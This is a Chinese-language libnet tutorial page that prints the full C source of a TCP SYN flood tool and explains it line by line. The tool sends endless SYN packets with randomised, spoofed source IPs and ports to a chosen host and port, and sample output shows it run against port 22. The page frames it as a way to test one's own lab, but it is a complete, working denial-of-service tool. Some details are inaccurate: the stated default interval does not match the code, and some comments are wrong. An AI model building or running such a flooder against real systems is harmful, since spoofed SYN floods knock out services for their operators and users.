libnet/tcp_syn_flood.c

TCP在傳輸資料前會先建立連線,建立連線的方式就是所謂的TCP Three-way handshake,一開始Client端送出一個TCP SYN封包,Server端確認可以連線後回送TCP SYN+ACK封包,Client端收到後回覆一個TCP ACK封包表示建立連線完成。

而TCP SYN Flood是利用只送出TCP SYN封包,讓Server端等待回覆的方式消耗掉資源,雖然在現代主機都有方法防範這樣攻擊的方法,不過在一些老舊的主機還是能夠成功。

Source Code

//
//  tcp_syn_flood.c
//  功能:TCP SYN洪水攻擊。
//  Created by 聲華 陳 on 2016/03/06.
//

#include <stdio.h>
#include <stdlib.h>
#include <libnet.h>

void usage(const char *cmd);
u_int32_t ip_aton(const char *ip_address);
char *ip_ntoa(u_int32_t i);
void signal_handler(int sig);

static libnet_t *handle = NULL;

int main(int argc, const char * argv[]) {
    int c;
    int interval = 100 * 1000; //0.1s
    char errbuf[LIBNET_ERRBUF_SIZE];
    libnet_ptag_t ip_tag = LIBNET_PTAG_INITIALIZER, tcp_tag = LIBNET_PTAG_INITIALIZER, tcp_option_tag = LIBNET_PTAG_INITIALIZER;
    u_int32_t dst_ip = 0, src_ip = 0;
    u_int16_t dport = 0, sport = 0;
    int length;
    u_char tcp_option[] = "\x02\x04\x05\xb4";
    char tcp_option_length = sizeof(tcp_option) - 1;

    //parse argument
    opterr = 0; //don't show default error message
    while((c = getopt(argc, (char * const *)argv, "w:d:p:")) != EOF) {
        switch (c) {
            case 'w':
                interval = atoi(optarg) * 1000;
                if(interval == 0) {
                    fprintf(stderr, "Invalid interval value: %s\n", optarg);
                    exit(1);
                }//end if
                break;

            case 'd':
                dst_ip = ip_aton(optarg);
                break;

            case 'p':
                dport = atoi(optarg);
                if(dport == 0) {
                    fprintf(stderr, "Invalid port number: %s\n", optarg);
                    exit(1);
                }//end if
                break;

            case '?':
            case 'h':
            default:
                usage(argv[0]);
                break;
        }//end switch
    }//end while

    if(dst_ip == 0 || dport == 0) {
        usage(argv[0]);
    }//end if

    //set signal handler
    if(signal(SIGINT, signal_handler) == SIG_ERR) {
        fprintf(stderr, "signal: %s\n", strerror(errno));
        exit(1);
    }//end if

    //init handle
    handle = libnet_init(LIBNET_RAW4, NULL, errbuf);
    if(!handle) {
        fprintf(stderr, "libnet_init: %s\n", errbuf);
        exit(1);
    }//end if

    //init seed
    libnet_seed_prand(handle);

    while(1) {
        //rand a source ip address and port
        src_ip = htonl(libnet_get_prand(LIBNET_PRu32));
        sport = libnet_get_prand(LIBNET_PRu16) % (65535-49152+1)+(49152);

        if(tcp_option_tag == LIBNET_PTAG_INITIALIZER) {
            tcp_option_tag = libnet_build_tcp_options(tcp_option,
                                                      tcp_option_length,
                                                      handle,
                                                      tcp_option_tag);

            if(tcp_option_tag == -1) {
                fprintf(stderr, "libnet_build_tcp_options: %s\n", libnet_geterror(handle));
                break;
            }//end if
        }//end if

        tcp_tag = libnet_build_tcp(sport,
                                   //source port
                                   dport,
                                   //destination port
                                   0,
                                   //sequence number
                                   0,
                                   //acknowledgment number
                                   TH_SYN,
                                   //flags
                                   UINT16_MAX,
                                   //window size
                                   0,
                                   //checksum
                                   0,
                                   //urgent pointer
                                   20 + tcp_option_length,
                                   //length
                                   NULL,
                                   0,
                                   handle,
                                   tcp_tag);

        if(tcp_tag == -1) {
            fprintf(stderr, "libnet_build_tcp: %s\n", libnet_geterror(handle));
            break;
        }//end if

        ip_tag = libnet_build_ipv4(LIBNET_IPV4_H + LIBNET_TCP_H + tcp_option_length,
                                   //total length, 28 + payload length
                                   0,
                                   //type of service
                                   libnet_get_prand(LIBNET_PRu16),
                                   //id, rand
                                   0,
                                   //fragment offset
                                   64,
                                   //time to live
                                   IPPROTO_TCP,
                                   //procotol, 1
                                   0,
                                   //checksum, auto calculate
                                   src_ip,
                                   //source ip address
                                   dst_ip,
                                   //destination ip address
                                   NULL,
                                   0,
                                   handle,
                                   ip_tag);

        if(ip_tag == -1) {
            fprintf(stderr, "libnet_build_ipv4: %s\n", libnet_geterror(handle));
            break;
        }//end if


        length = libnet_write(handle);
        if(length == -1) {
            fprintf(stderr, "libnet_write: %s\n", libnet_geterror(handle));
        }//end if
        else {
            printf("Source IP Address: %s:%d, Destination IP Address: %s:%d\n", ip_ntoa(src_ip), sport, ip_ntoa(dst_ip), dport);
        }//end else

        usleep(interval);
    }//end while

    //free
    if(handle) {
        libnet_destroy(handle);
        handle = NULL;
    }//end if

    return 0;
}

void usage(const char *cmd) {
    printf("Usage: %s <-d Destination IP Address> <-p Destination Port> [-w Interval ms]\n", cmd);
    exit(1);
}//end usage

void signal_handler(int sig) {

    //free
    if(handle) {
        libnet_destroy(handle);
        handle = NULL;
    }//end if

    exit(0);
}//end signal_function

u_int32_t ip_aton(const char *ip_address) {
    u_int32_t ip_integer;
    if(1 != inet_pton(AF_INET, ip_address, &ip_integer)) {
        fprintf(stderr, "Invalid IP address: %s\n", ip_address);
        exit(1);
    }//end if
    return ip_integer;
}//end if

char *ip_ntoa(u_int32_t i) {
#define FUNCTION_BUFFER 256
    static char str[FUNCTION_BUFFER][INET_ADDRSTRLEN];
    static int which = -1;

    which = (which + 1 == FUNCTION_BUFFER ? 0 : which + 1);

    memset(str[which], 0, sizeof(str[which]));

    inet_ntop(AF_INET, &i, str[which], sizeof(str[which]));

    return str[which];
}//end ip_ntoa

結果

libnet % ./tcp_syn_flood                            
Usage: ./tcp_syn_flood <-d Destination IP Address> <-p Destination Port> [-w Interval ms]
libnet % sudo ./tcp_syn_flood -d 192.168.1.101 -p 22
Source IP Address: 110.111.186.243:53064, Destination IP Address: 192.168.1.101:22
Source IP Address: 49.149.89.37:53309, Destination IP Address: 192.168.1.101:22
Source IP Address: 107.162.179.12:56654, Destination IP Address: 192.168.1.101:22
Source IP Address: 66.156.200.175:58278, Destination IP Address: 192.168.1.101:22
Source IP Address: 40.53.26.113:64646, Destination IP Address: 192.168.1.101:22
Source IP Address: 83.114.24.133:59547, Destination IP Address: 192.168.1.101:22
Source IP Address: 91.80.142.34:52347, Destination IP Address: 192.168.1.101:22
Source IP Address: 68.107.239.143:53322, Destination IP Address: 192.168.1.101:22
Source IP Address: 124.251.91.140:54224, Destination IP Address: 192.168.1.101:22
Source IP Address: 45.141.75.205:63801, Destination IP Address: 192.168.1.101:22
Source IP Address: 120.236.113.77:58012, Destination IP Address: 192.168.1.101:22
Source IP Address: 41.19.97.133:60758, Destination IP Address: 192.168.1.101:22
Source IP Address: 81.246.170.165:52230, Destination IP Address: 192.168.1.101:22
Source IP Address: 84.7.120.120:55122, Destination IP Address: 192.168.1.101:22
...略

受害主機上可以看到很多已經接受到TCP SYN封包後等待回覆的連線狀態。

參數

-d #目標IP Address
-p #目標Port
-w #每個封包間隔,單位毫秒,預設1000毫秒

分析

void usage(const char *cmd);
u_int32_t ip_aton(const char *ip_address);
char *ip_ntoa(u_int32_t i);
void signal_handler(int sig);

static libnet_t *handle = NULL;

函數和全域變數宣告有這些,直接來看程式使用方法的函數。


void usage(const char *cmd) {
    printf("Usage: %s <-d Destination IP Address> <-p Destination Port> [-w Interval ms]\n", cmd);
    exit(1);
}//end usage

程式只需要讀入Destination IP Address和Destination Port就好了。


    //parse argument
    opterr = 0; //don't show default error message
    while((c = getopt(argc, (char * const *)argv, "w:d:p:")) != EOF) {
        switch (c) {
            case 'w':
                interval = atoi(optarg) * 1000;
                if(interval == 0) {
                    fprintf(stderr, "Invalid interval value: %s\n", optarg);
                    exit(1);
                }//end if
                break;

            case 'd':
                dst_ip = ip_aton(optarg);
                break;

            case 'p':
                dport = atoi(optarg);
                if(dport == 0) {
                    fprintf(stderr, "Invalid port number: %s\n", optarg);
                    exit(1);
                }//end if
                break;

            case '?':
            case 'h':
            default:
                usage(argv[0]);
                break;
        }//end switch
    }//end while

    if(dst_ip == 0 || dport == 0) {
        usage(argv[0]);
    }//end if

這邊就一樣處理讀入的參數,這邊沒有什麼特別的所以不再多解釋。


    //set signal handler
    if(signal(SIGINT, signal_handler) == SIG_ERR) {
        fprintf(stderr, "signal: %s\n", strerror(errno));
        exit(1);
    }//end if

我們的程式設計上是一個無窮迴圈,所以停止方法只有輸入Ctrl+C,使用函數signal()來註冊一個函數,當程式收到Ctrl+C的訊號時候,就會呼叫該函數,而這函數為signal_handler(),第一個參數就是要監聽的訊號,在這邊是Ctrl+C


void signal_handler(int sig) {

    //free
    if(handle) {
        libnet_destroy(handle);
        handle = NULL;
    }//end if

    exit(0);
}//end signal_function

當收到Ctrl+C訊號時候就會呼叫該函數,釋放libnet handle後就可以結束程式。

libnet/arpoison.c也用過一樣的技巧。


    //init handle
    handle = libnet_init(LIBNET_RAW4, NULL, errbuf);
    if(!handle) {
        fprintf(stderr, "libnet_init: %s\n", errbuf);
        exit(1);
    }//end if

我們用LIBNET_RAW4初始化一個libnet handle來使用。


    //init seed
    libnet_seed_prand(handle);

因為我們要偽造Source IP Address和Source Port,所以利用亂數產生的方式來IP Address和Port。


    while(1) {
        //rand a source ip address and port
        src_ip = htonl(libnet_get_prand(LIBNET_PRu32));
        sport = libnet_get_prand(LIBNET_PRu16) % (65535-49152+1)+(49152);

        if(tcp_option_tag == LIBNET_PTAG_INITIALIZER) {
            tcp_option_tag = libnet_build_tcp_options(tcp_option,
                                                      tcp_option_length,
                                                      handle,
                                                      tcp_option_tag);

            if(tcp_option_tag == -1) {
                fprintf(stderr, "libnet_build_tcp_options: %s\n", libnet_geterror(handle));
                break;
            }//end if
        }//end if

        tcp_tag = libnet_build_tcp(sport,
                                   //source port
                                   dport,
                                   //destination port
                                   0,
                                   //sequence number
                                   0,
                                   //acknowledgment number
                                   TH_SYN,
                                   //flags
                                   UINT16_MAX,
                                   //window size
                                   0,
                                   //checksum
                                   0,
                                   //urgent pointer
                                   20 + tcp_option_length,
                                   //length
                                   NULL,
                                   0,
                                   handle,
                                   tcp_tag);

        if(tcp_tag == -1) {
            fprintf(stderr, "libnet_build_tcp: %s\n", libnet_geterror(handle));
            break;
        }//end if

        ip_tag = libnet_build_ipv4(LIBNET_IPV4_H + LIBNET_TCP_H + tcp_option_length,
                                   //total length, 28 + payload length
                                   0,
                                   //type of service
                                   libnet_get_prand(LIBNET_PRu16),
                                   //id, rand
                                   0,
                                   //fragment offset
                                   64,
                                   //time to live
                                   IPPROTO_TCP,
                                   //procotol, 1
                                   0,
                                   //checksum, auto calculate
                                   src_ip,
                                   //source ip address
                                   dst_ip,
                                   //destination ip address
                                   NULL,
                                   0,
                                   handle,
                                   ip_tag);

        if(ip_tag == -1) {
            fprintf(stderr, "libnet_build_ipv4: %s\n", libnet_geterror(handle));
            break;
        }//end if


        length = libnet_write(handle);
        if(length == -1) {
            fprintf(stderr, "libnet_write: %s\n", libnet_geterror(handle));
        }//end if
        else {
            printf("Source IP Address: %s:%d, Destination IP Address: %s:%d\n", ip_ntoa(src_ip), sport, ip_ntoa(dst_ip), dport);
        }//end else

        usleep(interval);
    }//end while

接著就是建構封包並送出了。

    while(1) {
        //rand a source ip address and port
        src_ip = htonl(libnet_get_prand(LIBNET_PRu32));
        sport = libnet_get_prand(LIBNET_PRu16) % (65535-49152+1)+(49152);
...略

首先來亂數產生IP Address和Port。

IP Address實際上是一個unsigned的32位元int,所以直接用函數libnet_get_prand()搭配參數LIBNET_PRu32產生,我們變數src_ip以網路地址格式儲存,所以我們再利用函數htonl()轉成網路地址格式。

Port為一個unsigned的16位元int,所以使用函數libnet_get_prand()搭配參數LIBNET_PRu16產生,這邊要跳脫一下。

Port有三個範圍:

  1. 0-1023:Official,向IANA註冊的應用程式。
  2. 1024-49151:Unofficial,沒有向IANA註冊的應用程式。
  3. 49152-65535:Multiple use,動態使用。

所以我們如果要產生的話,很明顯我們只能產生49152-65535這個範圍,我們用簡單數學算一下,如果要產生[low, up]這個範圍的亂數,使用公式:rand() % (up - low + 1) + low產生,所以這裡產生Port的方式為:libnet_get_prand(LIBNET_PRu16) % (65535-49152+1)+(49152)

這邊也是一個我不推薦使用libnet原因,libnet傳入IP Address要以網路地址格式傳入但Port卻不用,很容易讓人搞混。另外,函數libnet_build_dhcpv4()的IP Address卻似乎要以主機地址格式傳入,bug...?

...略
        if(tcp_option_tag == LIBNET_PTAG_INITIALIZER) {
            tcp_option_tag = libnet_build_tcp_options(tcp_option,
                                                      tcp_option_length,
                                                      handle,
                                                      tcp_option_tag);

            if(tcp_option_tag == -1) {
                fprintf(stderr, "libnet_build_tcp_options: %s\n", libnet_geterror(handle));
                break;
            }//end if
        }//end if
...略

接著開始封包的部分,這邊我們需要TCP Option的部分,我們先從封包層面看一下這是什麼Option。

打開Wireshark,Display Filter使用tcp.option_kind == 2試著抓取封包。 會發現似乎只有包含SYN標記的TCP封包才會有,所以直接翻RFC看看它的定義,在RFC 793中寫「只有在連線階段時的TCP封包(包含SYN的TCP封包)才能夠使用」,那再來觀察所有的TCP SYN封包幾乎全部都包含了這個選項,原因在於如果沒有指定這個Option,任何的TCP封包大小都會被允許(系統預設536),在有些系統上會直接拒絕掉,所以我們加入這個選項。

MTU全稱為Maximum Transmission Unit,為在網路上傳輸時,Network Layer層以上全部封包的最大大小,如果封包大於MTU大小,會試著切割封包。TCP封包稱為Segment,所以最大TCP封包稱為Maximum Segment Size簡稱MSS

這個Option在封包內的十六進位格式為0x02 0x04 0x05 0xb4(底下可以看到),另外要注意TCP Option必須用0補齊到4的倍數,我們Option剛好為4所以不用補齊,直接改成C語言能夠使用的格式,變數宣告:

    u_char tcp_option[] = "\x02\x04\x05\xb4";
    char tcp_option_length = sizeof(tcp_option) - 1;
...略
        if(tcp_option_tag == LIBNET_PTAG_INITIALIZER) {
            tcp_option_tag = libnet_build_tcp_options(tcp_option,
                                                      tcp_option_length,
                                                      handle,
                                                      tcp_option_tag);

            if(tcp_option_tag == -1) {
                fprintf(stderr, "libnet_build_tcp_options: %s\n", libnet_geterror(handle));
                break;
            }//end if
        }//end if
...略

使用函數libnet_build_tcp_options()來建構TCP Option部分,這個只要建構一次就好,用tag標記讓它建構一次。

...略
        tcp_tag = libnet_build_tcp(sport,
                                   //source port
                                   dport,
                                   //destination port
                                   0,
                                   //sequence number
                                   0,
                                   //acknowledgment number
                                   TH_SYN,
                                   //flags
                                   UINT16_MAX,
                                   //window size
                                   0,
                                   //checksum
                                   0,
                                   //urgent pointer
                                   20 + tcp_option_length,
                                   //length
                                   NULL,
                                   0,
                                   handle,
                                   tcp_tag);

        if(tcp_tag == -1) {
            fprintf(stderr, "libnet_build_tcp: %s\n", libnet_geterror(handle));
            break;
        }//end if
...略

接著使用函數libnet_build_tcp()建構TCP表頭部分,其中第三個參數和第四個參數,Sequence Number和Ackowledgment Number一定要填入0。第五個參數Flags當然只能填入TH_SYN。第六個參數Window Size隨便填入就好,這裡填入unsigned的16位元int最大值65535。第七個參數Checksum填入0表示自動算。第九個參數TCP封包長度記得要加上Option部分。

第一次自己寫一定不知道要怎麼填入,可以打開Wireshark抓封包來參考該填入哪些資訊。

...略
        ip_tag = libnet_build_ipv4(LIBNET_IPV4_H + LIBNET_TCP_H + tcp_option_length,
                                   //total length, 28 + payload length
                                   0,
                                   //type of service
                                   libnet_get_prand(LIBNET_PRu16),
                                   //id, rand
                                   0,
                                   //fragment offset
                                   64,
                                   //time to live
                                   IPPROTO_TCP,
                                   //procotol, 1
                                   0,
                                   //checksum, auto calculate
                                   src_ip,
                                   //source ip address
                                   dst_ip,
                                   //destination ip address
                                   NULL,
                                   0,
                                   handle,
                                   ip_tag);

        if(ip_tag == -1) {
            fprintf(stderr, "libnet_build_ipv4: %s\n", libnet_geterror(handle));
            break;
        }//end if
...略

IP表頭部分使用函數libnet_build_ipv4()建構,這邊主要就第八個參數是我們剛剛亂數產生的Source IP Address。

...略
        length = libnet_write(handle);
        if(length == -1) {
            fprintf(stderr, "libnet_write: %s\n", libnet_geterror(handle));
        }//end if
        else {
            printf("Source IP Address: %s:%d, Destination IP Address: %s:%d\n", ip_ntoa(src_ip), sport, ip_ntoa(dst_ip), dport);
        }//end else

        usleep(interval);
    }//end while

建構完封包後就呼叫函數libnet_write()送出封包,記得要呼叫usleep()暫停一下產生時間間隔。


    //free
    if(handle) {
        libnet_destroy(handle);
        handle = NULL;
    }//end if

最後記得釋放資源。

結語

這個程式示範了TCP SYN Flood攻擊,可以用來攻擊自己架設的環境,測試自己寫的封包是否正確。

results matching ""

    No results matching ""